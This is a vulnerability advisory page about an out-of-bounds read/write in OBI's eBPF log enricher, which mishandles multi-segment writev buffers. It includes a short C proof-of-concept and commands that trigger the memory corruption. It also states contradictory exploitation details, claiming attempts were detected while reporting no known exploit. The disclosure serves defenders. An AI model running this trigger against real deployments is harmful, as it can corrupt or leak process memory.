Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-vvmg-8mjr-g6q3
No affected components available
Summary
OBI's log enricher mishandles writev buffers by reading only the first iovec entry but using the total iov_iter.count as the copy length. When log injection is enabled, a crafted multi-segment writev call can make OBI read and overwrite memory beyond the first segment.
Details
In bpf/logenricher/logenricher.c#L50, __fill_iov resolves only one struct iovec, specifically iov_ctx.iov[0] for ITER_IOVEC. The returned iov therefore describes only the first write segment.
However, __write later uses const size_t count = BPF_CORE_READ(from, count);, which is the total byte count across all segments in the iterator. That total is stored in e->len and used in bpf_probe_read_user(e->log, e->len, iov.iov_base) and bpf_probe_write_user(iov.iov_base, zero, to_write).
If count exceeds iov.iov_len, OBI reads and then zeroes memory past the end of the first segment. In practice, this can corrupt adjacent application buffers, leak memory into log events, and in some layouts destabilize the instrumented process.
PoC
Local testing with a minimal ASan harness reproduced the same out-of-bounds read/write condition as the vulnerable writev path.
Use a vulnerable build with the log enricher enabled.
git checkout v0.7.0
make build
Create a program that performs a two-element writev, where the first buffer is short and the second is large:
// save as /tmp/writev-poc.c
#define _GNU_SOURCE
#include <sys/uio.h>
#include <unistd.h>
#include <string.h>
int main(void) {
char a[8] = "HELLO\n";
char b[256];
memset(b, 'B', sizeof(b));
struct iovec iov[2];
iov[0].iov_base = a;
iov[0].iov_len = sizeof(a);
iov[1].iov_base = b;
iov[1].iov_len = sizeof(b);
for (;;) {
writev(1, iov, 2);
usleep(10000);
}
}
Compile and run it:
cc -O2 -o /tmp/writev-poc /tmp/writev-poc.c
/tmp/writev-poc >/dev/null
Attach OBI with log enrichment enabled to the running process:
PID=$(pgrep -f /tmp/writev-poc)
sudo ./bin/obi --pid "$PID"
On a vulnerable build, OBI copies iov_iter.count bytes starting from iov[0].iov_base, even though iov[0] is only 8 bytes long. Depending on allocator layout, you will see one of the following:
- log events that include bytes beyond
HELLO\n - corrupted stdout content because OBI zeroed memory beyond the first iovec
- process instability or a crash
The issue is easiest to observe under a debugger or with ASan-enabled builds of the target program, but those are not required.
Impact
This is a memory safety flaw in the log-enrichment eBPF path. It affects deployments that enable log injection and instrument applications that write logs through writev. An attacker who can trigger the vulnerable local writev pattern inside the instrumented process can cause memory corruption or disclosure in that process. The most direct effects are corrupted output and adjacent-memory disclosure, with process instability possible if the overwrite lands on sensitive state.
The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard